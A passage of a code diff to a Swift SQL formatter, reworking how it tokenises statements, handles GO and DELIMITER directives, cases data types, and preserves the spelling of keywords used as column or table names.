                 for j in (i + 1)..<tokens.count {
                     guard tokens[j].type == .whitespace else { break }
-                    for c in tokens[j].value where c == "\n" { nlCount += 1 }
+                    count += tokens[j].value.utf16.reduce(0) { $0 + ($1 == 0x0A ? 1 : 0) }
                 }
-                newlinesAfterSemicolon[meaningfulIndex] = nlCount
+                newlinesAfterTerminator[stream.count] = count
             }
+            stream.append(token)
+            spacedBefore.append(pendingSpace)
+            lineBrokenBefore.append(pendingBreak)
+            pendingSpace = false
+            pendingBreak = false
         }
 
-        let meaningful = tokens.compactMap { t -> SQLToken? in
-            t.type == .whitespace ? nil : t
-        }
-
-        for mi in meaningful.indices {
+        for index in stream.indices {
             if skipCount > 0 {
                 skipCount -= 1
                 continue
             }
+            position = index
+            processToken(stream[index], prev: token(at: index - 1), next: token(at: index + 1))
+        }
 
-            let token = meaningful[mi]
-            let next: SQLToken? = mi + 1 < meaningful.count ? meaningful[mi + 1] : nil
-            let prev: SQLToken? = mi > 0 ? meaningful[mi - 1] : nil
-            let next2: SQLToken? = mi + 2 < meaningful.count ? meaningful[mi + 2] : nil
+        closeLists(atOrDeeperThan: 0)
+        var text = output.string
+        if let directiveLines {
+            text = Self.joiningManufacturedDirectives(
+                in: text,
+                written: writtenDirectiveLines(),
+                directiveLines: directiveLines
+            )
+        }
+        return text.trimmingCharacters(in: .whitespacesAndNewlines)
+    }
 
-            processToken(token, mi: mi, prev: prev, next: next, next2: next2)
+    // The line each directive was written on, counted in one pass: a script can hold tens of thousands of `GO` lines.
+    private func writtenDirectiveLines() -> Set<Int> {
+        var lines: Set<Int> = []
+        var line = 0
+        var cursor = 0
+        for offset in directiveOffsets {
+            while cursor < offset {
+                if output.bytes[cursor] == UInt8(ascii: "\n") { line += 1 }
+                cursor += 1
+            }
+            lines.insert(line)
         }
+        return lines
+    }
 
-        closeLists(atOrDeeperThan: 0)
-        return output.string.trimmingCharacters(in: .whitespacesAndNewlines)
+    // A word alone on a line can read as a client directive the input never had: a column named `go` left alone by
+    // a leading comma is a `GO` batch separator, and the server then gets two broken batches. Such a line joins the
+    // line before it, or the line after it when the one before is a line comment, so formatting adds no directive.
+    private static func joiningManufacturedDirectives(
+        in text: String,
+        written: Set<Int>,
+        directiveLines: (String) -> Set<Int>
+    ) -> String {
+        var lines = text.components(separatedBy: "\n")
+        var kept = written
+        // A join can leave `go` before a line that starts with a number, which reads as `GO 5`; one more pass fixes it.
+        for _ in 0..<3 {
+            let manufactured = directiveLines(lines.joined(separator: "\n")).subtracting(kept)
+            guard !manufactured.isEmpty else { break }
+            var joined: [String] = []
+            joined.reserveCapacity(lines.count)
+            var joinedKept: Set<Int> = []
+            var index = 0
+            while index < lines.count {
+                let line = lines[index]
+                defer { index += 1 }
+                guard manufactured.contains(index) else {
+                    if kept.contains(index) { joinedKept.insert(joined.count) }
+                    joined.append(line)
+                    continue
+                }
+                if let previous = joined.last, !joinedKept.contains(joined.count - 1), canTakeJoinedCode(previous) {
+                    joined[joined.count - 1] = previous + " " + line.drop { $0 == " " || $0 == "\t" }
+                } else if index + 1 < lines.count, !kept.contains(index + 1), canTakeJoinedCode(lines[index + 1]) {
+                    joined.append(line + " " + lines[index + 1].drop { $0 == " " || $0 == "\t" })
+                    index += 1
+                } else {
+                    joinedKept.insert(joined.count)
+                    joined.append(line)
+                }
+            }
+            lines = joined
+            kept = joinedKept
+        }
+        return lines.joined(separator: "\n")
+    }
+
+    private static func canTakeJoinedCode(_ line: String) -> Bool {
+        let trimmed = line.trimmingCharacters(in: .whitespaces)
+        return !trimmed.isEmpty && !trimmed.hasPrefix("--") && !trimmed.hasPrefix("#") && !trimmed.hasPrefix("//")
+    }
+
+    private func token(at index: Int) -> SQLToken? {
+        stream.indices.contains(index) ? stream[index] : nil
+    }
+
+    private var next2: SQLToken? {
+        token(at: position + 2)
+    }
+
+    // The next token that is not a comment, for decisions that skip nothing.
+    private var nextCode: SQLToken? {
+        stream[(position + 1)...].first { $0.type != .comment }
+    }
+
+    // A custom delimiter (`DELIMITER //`) arrives as punctuation, like the `;` it stands in for.
+    private static func isTerminator(_ token: SQLToken) -> Bool {
+        token.type == .punctuation && !["(", ")", ",", "."].contains(token.value)
     }
 
     // MARK: - Token Processing
 
-    private mutating func processToken(_ token: SQLToken, mi: Int, prev: SQLToken?, next: SQLToken?, next2: SQLToken?) {
+    private mutating func processToken(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) {
+        trackDeclarations(token)
+        if let lead = pendingLead, token.type != .comment,
+           !(lead.kind == .select && ["DISTINCT", "ALL"].contains(token.upperValue)),
+           !(lead.kind == .cte && token.upperValue == "RECURSIVE") {
+            pendingLead = nil
+            if let index = openLists.lastIndex(where: { $0.kind == lead.kind && $0.depth == indent }) {
+                openLists[index].hasLead = true
+            }
+            appendSeparator(kind: lead.kind, inline: " ", broken: "\n" + render(lead.pad))
+            afterNewline = false
+            suppressNextSpace = true
+        }
+        if position <= typePhraseEnd || startsTypePhrase() {
+            appendToken(typeCased(token))
+            return
+        }
         switch token.type {
         case .comment:
             handleComment(token)
+        case .directive:
+            handleDirective(token)
         case .punctuation:
-            handlePunctuation(token, mi: mi, prev: prev, next: next)
+            handlePunctuation(token, prev: prev)
         case .keyword:
-            handleKeyword(token, prev: prev, next: next, next2: next2)
+            handleKeyword(token, prev: prev, next: next)
+        case .operator where token.value == "[":
+            if afterNewline {
+                output += indentStr() + "["
+            } else {
+                output += suppressNextSpace || !spacedBefore[position] ? "[" : " ["
+            }
+            afterNewline = false
+            suppressNextSpace = true
+            // An array's elements are not the items of the list it sits in: `ARRAY[1, 2]` stays on one line.
+            parenOpeners[clauseStack.count] = "["
+            clauseStack.append(.inlineParen)
+        case .operator where token.value == "]":
+            if currentContext == .inlineParen, parenOpeners[clauseStack.count - 1] == "[" {
+                clauseStack.removeLast()
+            }
+            writeGlued("]")
+        case .string where prev?.type == .string && lineBrokenBefore[position] && !afterNewline:
+            // SQL joins two string literals only across a line break, and PostgreSQL refuses `'foo' 'bar'` on one line.
+            let pad = linePad
+            newline()
+            linePad = pad
+            output += render(pad) + token.value
+            afterNewline = false
+        case .string where !spacedBefore[position] && prev?.type == .identifier && !afterNewline:
+            // `r'raw'`, `b'0101'`: a word written against a quote may introduce the literal, and apart it would not.
+            output += token.value
+            gluePosition = nil
         default:
             appendToken(token.value)
         }
@@ -210,62 +406,108 @@ internal struct SQLTokenFormatter {
 
     private mutating func handleComment(_ token: SQLToken) {
         if !afterNewline { newline() }
-        output += token.value
-        output += "\n"
+        output += indentStr() + token.value + "\n"
         afterNewline = true
     }
 
+    // A `GO` or `DELIMITER` line ends what came before it and stays a line of its own.
+    private mutating func handleDirective(_ token: SQLToken) {
+        closeLists(atOrDeeperThan: 0)
+        if !afterNewline { newline() }
+        directiveOffsets.append(output.count)
+        output += token.value + "\n"
+        afterNewline = true
+        resetStatement()
+    }
+
+    private static let statementStarters: Set<String> = [
+        "SELECT", "INSERT", "UPDATE", "DELETE", "MERGE", "SET", "WITH", "IF", "WHILE", "BEGIN", "END", "RETURN",
+        "EXEC", "EXECUTE", "PRINT", "OPEN", "FETCH", "CLOSE", "CREATE", "ALTER", "DROP", "TRUNCATE",
+    ]
+
+    private mutating func trackDeclarations(_ token: SQLToken) {
+        guard Self.isWord(token) else { return }
+        let upper = token.upperValue
+        if currentContext == .createTable, upper == "FUNCTION" || upper == "PROCEDURE" {
+            awaitsParameterList = true
+            inRoutineHeader = true
+        } else if upper == "AS" || upper == "BEGIN" {
+            inRoutineHeader = false
+        }
+        if upper == "DECLARE" {
+            inDeclare = true
+        } else if Self.statementStarters.contains(upper) {
+            inDeclare = false
+        }
+    }
+
+    private mutating func resetStatement() {
+        clauseStack.removeAll()
+        selectColumnPadStack.removeAll()
+        blockOpeners.removeAll()
+        casePads.removeAll()
+        linePad = Pad(levels: 0)
+        pendingLead = nil
+        inSelectColumns = false
+        awaitsTableBody = false
+        awaitsParameterList = false
+        inDeclare = false
+        inRoutineHeader = false
+        afterBetween = false
+    }
+
     // MARK: - Punctuation
 
-    private mutating func handlePunctuation(_ token: SQLToken, mi: Int, prev: SQLToken?, next: SQLToken?) {
+    private mutating func handlePunctuation(_ token: SQLToken, prev: SQLToken?) {
         switch token.value {
-        case ";":
-            output += ";"
-            closeLists(atOrDeeperThan: 0)
-            let originalNewlines = newlinesAfterSemicolon[mi] ?? 0
-            let newlineCount = min(max(originalNewlines, 1), 3)
-            output += String(repeating: "\n", count: newlineCount)
-            afterNewline = true
-            clauseStack.removeAll()
-            selectColumnPadStack.removeAll()
-            inSelectColumns = false
-
         case ",":
             handleComma()
-
         case "(":
-            handleOpenParen(next: next, prev: prev)
-
+            handleOpenParen(prev: prev)
         case ")":
             handleCloseParen()
-
         case ".":
             output += "."
             afterNewline = false
             suppressNextSpace = true
-
         default:
-            appendToken(token.value)
+            handleTerminator(token)
         }
     }
 
+    private mutating func handleTerminator(_ token: SQLToken) {
+        if afterNewline {
+            output += indentStr() + token.value
+        } else {
+            output += token.value == ";" ? ";" : " " + token.value
+        }
+        closeLists(atOrDeeperThan: 0)
+        let originalNewlines = newlinesAfterTerminator[position] ?? 0
+        let newlineCount = min(max(originalNewlines, 1), 3)
+        output += String(repeating: "\n", count: newlineCount)
+        afterNewline = true
+        resetStatement()
+    }
+
     private mutating func handleComma() {
         if inSelectColumns && currentContext == .select {
             appendCommaSeparator(kind: .select, alignedTo: selectColumnPad)
+        } else if currentContext == .with && options.clauseItems == .newLine {
+            appendCommaSeparator(kind: .cte, alignedTo: base.adding(levels: 1))
         } else if currentContext == .set {
-            appendCommaSeparator(kind: .set, alignedTo: Pad(levels: indent, spaces: Self.setAlignment))
+            appendCommaSeparator(kind: .set, alignedTo: setItemPad)
         } else if currentContext == .createTableBody {
             switch options.commaPosition {
             case .trailing:
                 output += ",\n"
                 afterNewline = true
             case .leading:
-                output += "\n" + render(Pad(levels: indent)) + ","
+                output += "\n" + indentStr() + ","
                 afterNewline = false
                 suppressNextSpace = false
             }
         } else {
-            output += ","
+            writeGlued(",")
         }
     }
 
@@ -278,13 +520,14 @@ internal struct SQLTokenFormatter {
             broken = "\n" + render(Pad(levels: pad.levels, spaces: max(pad.spaces - 2, 0))) + ", "
         }
         appendSeparator(kind: kind, inline: ", ", broken: broken)
+        linePad = pad
         afterNewline = false
         suppressNextSpace = true
     }
 
-    private mutating func handleOpenParen(next: SQLToken?, prev: SQLToken?) {
-        if next?.upperValue == "SELECT" {
-            output += suppressNextSpace ? "(" : " ("
+    private mutating func handleOpenParen(prev: SQLToken?) {
+        if nextCode?.upperValue == "SELECT" {
+            writeOpener()
             openBlock()
             return
         }
@@ -293,74 +536,90 @@ internal struct SQLTokenFormatter {
             openBlock()
             return
         }
-        if clauseStack.contains(.createTable) && !clauseStack.contains(.createTableBody) {
-            output += " ("
-            output += "\n"
+        if awaitsTableBody {
+            awaitsTableBody = false
+            output += " (\n"
             afterNewline = true
-            suppressNextSpace = false
+            blockOpeners.append(linePad)
             clauseStack.append(.createTableBody)
+            linePad = base
             return
         }
         if prev?.upperValue == "OVER" {
-            output += "("
-            afterNewline = false
+            writeGlued("(")
             suppressNextSpace = true
             clauseStack.append(.windowParen)
             return
         }
+        let opener = awaitsParameterList ? Self.parameterListOpener : prev?.upperValue ?? ""
+        awaitsParameterList = false
         // A structural keyword takes a space before its paren (`VALUES (`, `IN (`); a function call
         // or a sized type does not (`COUNT(*)`, `VARCHAR(255)`).
-        if let prevUpper = prev?.upperValue, prev?.type == .keyword,
-           !functions.contains(prevUpper), !dataTypes.contains(prevUpper) {
-            output += suppressNextSpace ? "(" : " ("
-        } else if currentContext == .insert && prev?.type == .identifier {
-            output += " ("
+        if typePhraseEnd == position - 1 {
+            writeGlued("(")
+        } else if let prev, prev.type == .keyword, !functions.contains(prev.upperValue), !dataTypes.contains(prev.upperValue) {
+            writeOpener()
+        } else if currentContext == .insert && Self.isQuotedOrPlainName(prev) {
+            writeOpener()
+        } else if prev?.value == "," {
+            writeOpener()
         } else {
-            output += "("
+            writeGlued("(")
         }
-        afterNewline = false
         suppressNextSpace = true
+        parenOpeners[clauseStack.count] = opener
         clauseStack.append(.inlineParen)
     }
 
+    private static func isQuotedOrPlainName(_ token: SQLToken?) -> Bool {
+        guard let token else { return false }
+        return token.type == .identifier || (token.type == .string && token.value.hasPrefix("\""))
+    }
+
+    private mutating func writeOpener() {
+        if afterNewline {
+            output += indentStr() + "("
+        } else {
+            output += suppressNextSpace ? "(" : " ("
+        }
+        afterNewline = false
+    }
+
     private mutating func openBlock() {
         output += "\n"
         selectColumnPadStack.append(selectColumnPad)
         afterNewline = true
-        suppressNextSpace = false
+        blockOpeners.append(linePad)
         clauseStack.append(.subquery)
+        linePad = base
     }
 
     private mutating func handleCloseParen() {
         if currentContext == .inlineParen || currentContext == .windowParen {
             clauseStack.removeLast()
-            output += ")"
-            afterNewline = false
-            suppressNextSpace = false
+            writeGlued(")")
             return
         }
         if let idx = clauseStack.lastIndex(where: Self.isBlockContext) {
             closeLists(atOrDeeperThan: indent)
             clauseStack.removeSubrange(idx...)
-            output += "\n" + indentStr() + ")"
+            let opener = blockOpeners.popLast() ?? Pad(levels: 0)
+            output += (afterNewline ? "" : "\n") + render(opener) + ")"
+            linePad = opener
             afterNewline = false
             inSelectColumns = clauseStack.contains(.select)
             if let saved = selectColumnPadStack.popLast() {
                 selectColumnPad = saved
             }
-            suppressNextSpace = false
             return
         }
-        output += ")"
-        afterNewline = false
-        suppressNextSpace = false
+        writeGlued(")")
     }
 
     // MARK: - Keywords
 
-    private mutating func handleKeyword(_ token: SQLToken, prev: SQLToken?, next: SQLToken?, next2: SQLToken?) {
-        // A word beside a dot is part of a qualified name (`e.end`, `dbo.len(x)`, `key.id`), and a
-        // name keeps its spelling on an engine with case-sensitive identifiers.
+    private mutating func handleKeyword(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) {
+        // A word beside a dot is part of a qualified name (`e.end`, `dbo.len(x)`, `key.id`).
         if prev?.value == "." || next?.value == "." {
             appendToken(token.value)
             return
@@ -379,15 +638,17 @@ internal struct SQLTokenFormatter {
             handleAndOr(kw: kw, upper: upper)
         case "JOIN":
             handleClauseKeyword(kw: kw, context: .join)
-        case "INNER", "LEFT", "RIGHT", "FULL", "CROSS", "NATURAL":
-            handleJoinPrefix(token, kw: kw, next: next, next2: next2)
-        case "OUTER":
-            break // absorbed by the JOIN prefix handler
+        case "INNER", "LEFT", "RIGHT", "FULL", "CROSS", "NATURAL", "OUTER":
+            handleJoinPrefix(token, prev: prev, next: next)
         case "ON":
             handleOn(kw: kw)
-        case "OVER", "PARTITION", "BY", "ALL", "INTO", "TABLE":
-            appendToken(kw)
+        case "OVER", "PARTITION", "BY", "ALL", "INTO":
+            appendToken(isName(token) ? token.value : kw)
+        case "TABLE":
+            if currentContext == .createTable { awaitsTableBody = true }
+            appendToken(isName(token) ? token.value : kw)
         case "AS":
+            awaitsTableBody = false
             recordAliasIfTopLevel()
             appendToken(kw)
         case "BETWEEN":
@@ -395,8 +656,10 @@ internal struct SQLTokenFormatter {
             appendToken(kw)
         case "ORDER", "GROUP":
             handleOrderGroup(kw: kw, next: next)
-        case "HAVING", "LIMIT", "OFFSET":
-            handleClauseKeyword(kw: kw, context: nil)
+        case "HAVING":
+            handleClauseKeyword(kw: kw, context: .where_, list: .conditions)
+        case "LIMIT", "OFFSET":
+            handleClauseKeyword(kw: kw, context: .clause)
         case "UNION", "INTERSECT", "EXCEPT", "MINUS":
             handleSetOperation(upper: upper, kw: kw, next: next)
         case "CASE":
@@ -404,8 +667,7 @@ internal struct SQLTokenFormatter {
         case "WHEN", "ELSE":
             handleWhenElse(kw: kw)
         case "THEN":
-            output += " " + kw
-            afterNewline = false
+            appendToken(kw)
         case "END":
             handleEnd(kw: kw)
         case "WITH":
@@ -414,7 +676,7 @@ internal struct SQLTokenFormatter {
             handleInsert(kw: kw, prev: prev, next: next)
         case "VALUES":
             // `a = VALUES(a)` in MySQL's ON DUPLICATE KEY UPDATE is a function call.
-            if prev?.type != .operator { newline() }
+            if prev?.type != .operator && !isInsideNestedExpression { breakLine() }
             appendToken(kw)
         case "UPDATE":
             handleStatementStart(kw: kw, prev: prev, context: .update)
@@ -425,50 +687,247 @@ internal struct SQLTokenFormatter {
         case "CREATE":
             handleStatementStart(kw: kw, prev: prev, context: .createTable)
         default:
-            appendToken(cased(token, next: next))
+            appendToken(cased(token, prev: prev, next: next))
         }
     }
 
-    // `count` and `date` can name columns, so only a call takes the function case, and only where the
-    // engine accepts any spelling of the function.
-    private func cased(_ token: SQLToken, next: SQLToken?) -> String {
+    // `count` and `date` can name columns, so only a call takes the function case, and a word standing where a name
+    // stands keeps the spelling it was written in.
+    private func cased(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) -> String {
         let upper = token.upperValue
-        if functions.contains(upper) {
-            guard rewritesFunctionCase, next?.value == "(" else { return token.value }
-            return options.functionCase.applied(upper: upper, original: token.value)
+        if functions.contains(upper), next?.value == "(" {
+            return rewritesFunctionCase ? options.functionCase.applied(upper: upper, original: token.value) : token.value
+        }
+        if isName(token) {
+            return token.value
         }
         if dataTypes.contains(upper) {
+            return isTypePosition(position) ? typeCased(token) : token.value
+        }
+        if functions.contains(upper) {
             return token.value
         }
         return options.keywordCase.applied(upper: upper, original: token.value)
     }
 
+    // MARK: - Types
+
+    private static let parameterListOpener = "(parameters)"
+    private static let castFunctions: Set<String> = ["CAST", "TRY_CAST", "SAFE_CAST"]
+    private static let parameterModes: Set<String> = ["IN", "OUT", "INOUT", "VARIADIC"]
+
+    // A word spelled like a type is a type only where the grammar puts one: a column definition, `CAST(x AS t)`,
+    // `x::t`, `RETURNS t`, `TYPE t`, a variable or parameter declaration, and the words that continue one
+    // (`DOUBLE PRECISION`). Anywhere else it may name a column (`date + 1`, `ORDER BY date`), and a name keeps its
+    // spelling.
+    private func isTypePosition(_ index: Int) -> Bool {
+        guard let prev = token(at: index - 1) else { return false }
+        let prevUpper = prev.upperValue
+        let beforePrev = token(at: index - 2)
+        switch prevUpper {
+        case "::", "RETURNS", "SETOF":
+            return true
+        case "TYPE":
+            return beforePrev.map { ($0.type != .keyword && Self.isNameToken($0)) || $0.upperValue == "DATA" } ?? false
+        case "AS":
+            if let beforePrev, Self.isVariable(beforePrev), declaresVariables { return true }
+            guard currentContext == .inlineParen, let opener = parenOpeners[clauseStack.count - 1] else { return false }
+            return Self.castFunctions.contains(opener)
+        default:
+            break
+        }
+        if Self.isVariable(prev), declaresVariables { return true }
+        let beforeUpper = beforePrev?.upperValue ?? ""
+        // A table variable's or table type's columns: `DECLARE @t TABLE (a int)`, `RETURNS @t TABLE (a int)`.
+        if currentContext == .inlineParen, parenOpeners[clauseStack.count - 1] == "TABLE",
+           ["(", ","].contains(beforeUpper), Self.isNameToken(prev) {
+            return true
+        }
+        if ["DECLARE", "COLUMN", "ADD", "MODIFY"].contains(beforeUpper), Self.isNameToken(prev), prevUpper != "IF" {
+            return true
+        }
+        if currentContext == .createTableBody, ["(", ","].contains(beforeUpper), Self.isNameToken(prev) {
+            return true
+        }
+        guard currentContext == .inlineParen, parenOpeners[clauseStack.count - 1] == Self.parameterListOpener else {
+            return false
+        }
+        if Self.isNameToken(prev), ["(", ","].contains(beforeUpper) || Self.parameterModes.contains(beforeUpper) {
+            return true
+        }
+        let next = token(at: index + 1)?.value
+        return ["(", ","].contains(prevUpper) && (next == "," || next == ")")
+    }
+
+    private static func isWord(_ token: SQLToken) -> Bool {
+        token.type == .identifier || token.type == .keyword
+    }
+
+    // A name as a declaration writes it: a word, or a quoted identifier (`"id"`, `[id]`, `` `id` ``). The tokenizer
+    // keeps `"..."` a string, as the query fingerprint reads it.
+    private static func isNameToken(_ token: SQLToken) -> Bool {
+        isWord(token) || (token.type == .string && token.value.hasPrefix("\""))
+    }
+
+    private static func isVariable(_ token: SQLToken) -> Bool {
+        token.type == .placeholder && token.value.hasPrefix("@") && !token.value.hasPrefix("@@")
+    }
+
+    private var declaresVariables: Bool {
+        inDeclare || inRoutineHeader
+    }
+
+    private func typeCased(_ token: SQLToken) -> String {
+        rewritesDataTypeCase ? options.dataTypeCase.applied(upper: token.upperValue, original: token.value) : token.value
+    }
+
+    // A multi-word type in a type position is one type: every word takes its case, and the `WITH` of
+    // `TIMESTAMP WITH TIME ZONE` starts no statement.
+    private mutating func startsTypePhrase() -> Bool {
+        guard let candidates = typePhrases[stream[position].upperValue], Self.isWord(stream[position]) else { return false }
+        let match = candidates.first { words in
+            words.indices.dropFirst().allSatisfy { offset in
+                token(at: position + offset).map { Self.isWord($0) && $0.upperValue == words[offset] } ?? false
+            }
+        }
+        guard let match, isTypePosition(position) else { return false }
+        typePhraseEnd = position + match.count - 1
+        return true
+    }
+
+    // MARK: - Names
+
+    // Values, actions and modifiers wherever they stand, never names (`SELECT DISTINCT *`, `ARRAY[1]`).
+    private static let valueWords: Set<String> = [
+        "NULL", "TRUE", "FALSE", "UNKNOWN", "DEFAULT", "MATCHED", "CASCADE", "RESTRICT", "DISTINCT", "ALL", "ARRAY",
+        "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "CURRENT_USER", "SESSION_USER",
+        "LOCALTIME", "LOCALTIMESTAMP", "SYSDATE", "SYSTIMESTAMP", "ROWNUM", "LEVEL",
+    ]
+
+    private static let operandStarters: Set<String> = [
+        "SELECT", "DISTINCT", ",", "(", "BY", "WHERE", "AND", "OR", "ON", "HAVING", "WHEN", "THEN", "ELSE", "SET",
+        "RETURNING", "FROM", "JOIN", "INTO", "UPDATE", "WITH",
+        "=", "<>", "!=", "<", ">", "<=", ">=", "<=>", "+", "-", "*", "/", "%", "||",
+    ]
+
+    private static let operandEnders: Set<String> = [
+        ",", ")", "FROM", "AS", "ASC", "DESC", "NULLS", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", "OFFSET",
+        "UNION", "INTERSECT", "EXCEPT", "MINUS", "WINDOW", "AND", "OR", "THEN", "ELSE", "END", "WHEN", "ON", "USING",
+        "SET", "VALUES", "JOIN", "INNER", "LEFT", "RIGHT", "FULL", "CROSS", "NATURAL",
+        "IN", "IS", "LIKE", "ILIKE", "BETWEEN", "NOT",
+        "=", "<>", "!=", "<", ">", "<=", ">=", "<=>", "+", "-", "*", "/", "%", "||", "::", "[",
+    ]
+
+    private static let tableIntroducers: Set<String> = ["FROM", "JOIN", "UPDATE", "INTO"]
+
+    // Words that come between those and the table: `FROM ONLY t`, `JOIN LATERAL f(x) a`, ClickHouse's `INTO TABLE t`.
+    private static let tableModifiers: Set<String> = [
+        "ONLY", "LATERAL", "TABLE", "TEMPORARY", "TEMP", "UNLOGGED", "IGNORE", "LOW_PRIORITY", "HIGH_PRIORITY",
+        "DELAYED", "OUTFILE", "DUMPFILE",
+    ]
+
+    // What can end a select item or a table reference, so a word after it is that item's alias.
+    private static func endsOperand(_ token: SQLToken) -> Bool {
+        switch token.type {
+        case .identifier, .number, .string, .placeholder:
+            return true
+        case .keyword:
+            return token.upperValue == "END" || valueWords.contains(token.upperValue)
+        default:
+            return token.value == ")" || token.value == "]"
+        }
+    }
+
+    private static let aliasEnders: Set<String> = [
+        ",", ")", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", "OFFSET", "UNION", "INTERSECT", "EXCEPT",
+        "MINUS", "WINDOW", "QUALIFY", "INTO", "ON", "USING", "SET", "JOIN", "INNER", "LEFT", "RIGHT", "FULL", "CROSS",
+        "NATURAL", "OUTER", "PREWHERE", "SETTINGS", "FORMAT", "FETCH",
+    ]
+
+    // Words that follow a table reference without naming it: ClickHouse's `FROM t FINAL`, `GLOBAL ANY JOIN`.
+    private static let tableReferenceModifiers: Set<String> = ["FINAL", "GLOBAL", "ANY", "ASOF", "SEMI", "ANTI", "PASTE"]
+
+    // `SELECT 1 rows`, `SELECT x date FROM t`, `FROM t first WHERE`: an alias written without AS keeps its spelling.
+    private func isImplicitAlias(_ upper: String, prev: SQLToken?, next: SQLToken?) -> Bool {
+        guard [.select, .from, .join].contains(currentContext), let prev, Self.endsOperand(prev),
+              !Self.tableReferenceModifiers.contains(upper)
+        else {
+            return false
+        }
+        guard let next else { return true }
+        return Self.isTerminator(next) || Self.aliasEnders.contains(next.upperValue)
+    }
+
+    private static let constraintStarters: Set<String> = [
+        "CONSTRAINT", "PRIMARY", "FOREIGN", "UNIQUE", "CHECK", "EXCLUDE", "PERIOD", "LIKE",
+    ]
+
+    // MySQL's `KEY idx (a)` against ClickHouse's `key String`.
+    private static let indexStarters: Set<String> = ["KEY", "INDEX", "FULLTEXT", "SPATIAL"]
+
+    // Engines that match names by exact case (ClickHouse, BigQuery tables, MySQL tables on Unix, SQL Server under a
+    // case-sensitive collation) read a re-cased name as another name, and MySQL titles a result column with the
+    // spelling it was selected by. So a keyword standing where a name stands keeps its spelling on every engine: an
+    // operand alone between a clause or operator and what ends it (`SELECT database, table`, `table = 'hits'`), an
+    // alias, a column in a column list.
+    private func isName(_ token: SQLToken) -> Bool {
+        let prev = stream[..<position].last { $0.type != .comment }
+        let next = nextCode
+        let upper = token.upperValue
+        if Self.valueWords.contains(upper) { return false }
+        if currentContext == .createTableBody, prev?.value == "(" || prev?.value == "," {
+            if Self.constraintStarters.contains(upper) { return false }
+            if Self.indexStarters.contains(upper), next?.value == "(" || next2?.value == "(" { return false }
+            return true
+        }
+        if prev?.upperValue == "COLUMN" { return upper != "IF" }
+        if prev?.upperValue == "AS" { return !isInsideNestedExpression && next?.value != "(" }
+        if isImplicitAlias(upper, prev: prev, next: next) { return true }
+        // `FROM apply a`: a word between FROM, JOIN, UPDATE or INTO and its alias names the table.
+        if let prev, Self.tableIntroducers.contains(prev.upperValue), next?.type == .identifier,
+           !Self.tableModifiers.contains(upper) {
+            return true
+        }
+        guard let prev, Self.operandStarters.contains(prev.upperValue) else { return false }
+        guard let next else { return true }
+        return Self.operandEnders.contains(next.upperValue) || Self.isTerminator(next)
+    }
+
+    // MARK: - Clauses
+
     private mutating func handleSelect(kw: String, prev: SQLToken?) {
         // `GRANT SELECT, INSERT ON t`, `CREATE POLICY p ON t FOR SELECT`
         if let prev, Self.statementKeywordModifiers.contains(prev.upperValue) {
             appendToken(kw)
             return
         }
+        awaitsTableBody = false
         closeLists(atOrDeeperThan: indent)
         if !afterNewline { newline() }
         let lineStart = output.count
         output += indentStr() + kw
         afterNewline = false
         inSelectColumns = true
-        selectColumnPad = Pad(levels: indent, spaces: Self.selectAlignment)
+        selectColumnPad = options.clauseItems == .sameLine
+            ? base.adding(spaces: Self.selectAlignment)
+            : base.adding(levels: 1)
+        linePad = selectColumnPad
         clauseStack.append(.select)
         openLists.append(PendingList(kind: .select, depth: indent, lineStart: lineStart))
+        if options.clauseItems == .newLine { pendingLead = (.select, selectColumnPad) }
     }
 
     private mutating func handleFrom(kw: String, prev: SQLToken?) {
-        // `EXTRACT(YEAR FROM d)`, `SUBSTRING(s FROM 2)`, `TRIM(BOTH ' ' FROM s)`
-        if isInsideNestedExpression {
+        // `EXTRACT(YEAR FROM d)`, `SUBSTRING(s FROM 2)`, `TRIM(BOTH ' ' FROM s)`, `a IS DISTINCT FROM b`
+        let isDistinctFrom = prev?.upperValue == "DISTINCT"
+            && ["IS", "NOT"].contains(token(at: position - 2)?.upperValue ?? "")
+        if isInsideNestedExpression || isDistinctFrom {
             appendToken(kw)
             return
         }
         closeLists(atOrDeeperThan: indent)
         inSelectColumns = false
-        newline()
+        breakLine()
         appendToken(kw)
         if prev?.upperValue != "DELETE" {
             replaceTop(with: .from)
@@ -483,30 +942,56 @@ internal struct SQLTokenFormatter {
         }
         closeLists(atOrDeeperThan: indent)
         inSelectColumns = false
-        newline()
+        breakLine()
         let lineStart = output.count
         appendToken(kw)
-        if let ctx = context { replaceTop(with: ctx) }
-        if let list {
-            openLists.append(PendingList(kind: list, depth: indent, lineStart: lineStart))
+        if let context { replaceTop(with: context) }
+        guard let list else { return }
+        openLists.append(PendingList(kind: list, depth: indent, lineStart: lineStart))
+        let itemPad: Pad
+        switch (list, options.clauseItems) {
+        case (_, .newLine):
+            itemPad = base.adding(levels: 1)
+        case (.set, .sameLine):
+            itemPad = setItemPad
+            linePad = itemPad
+        case (_, .sameLine):
+            itemPad = options.logicalOperatorNewline == .after
+                ? base.adding(spaces: kw.count + 1)
+                : base.adding(levels: 1)
+        }
+        openLists[openLists.count - 1].itemPad = itemPad
+        if options.clauseItems == .newLine {
+            linePad = itemPad
+            pendingLead = (list, itemPad)
         }
     }
 
+    private var setItemPad: Pad {
+        options.clauseItems == .sameLine ? base.adding(spaces: Self.setAlignment) : base.adding(levels: 1)
+    }
+
     private mutating func handleAndOr(kw: String, upper: String) {
         if upper == "AND" && afterBetween {
             afterBetween = false
-            output += " " + kw
-            afterNewline = false
+            appendToken(kw)
             return
         }
         guard currentContext == .where_ else {
-            output += " " + kw
-            afterNewline = false
+            appendToken(kw)
             return
         }
-        let pad = Pad(levels: indent + 1)
+        let pad = openLists.last(where: { $0.kind == .conditions && $0.depth == indent })?.itemPad
+            ?? base.adding(levels: 1)
+        linePad = pad
         if afterNewline {
             output += render(pad) + kw
+        } else if options.logicalOperatorNewline == .after {
+            output += " " + kw
+            appendSeparator(kind: .conditions, inline: " ", broken: "\n" + render(pad))
+            afterNewline = false
+            suppressNextSpace = true
+            return
         } else {
             appendSeparator(kind: .conditions, inline: " ", broken: "\n" + render(pad))
             output += kw
@@ -514,66 +999,76 @@ internal struct SQLTokenFormatter {
         afterNewline = false
     }
 
-    private mutating func handleJoinPrefix(_ token: SQLToken, kw: String, next: SQLToken?, next2: SQLToken?) {
-        let upper = token.upperValue
-        let joinWords: String
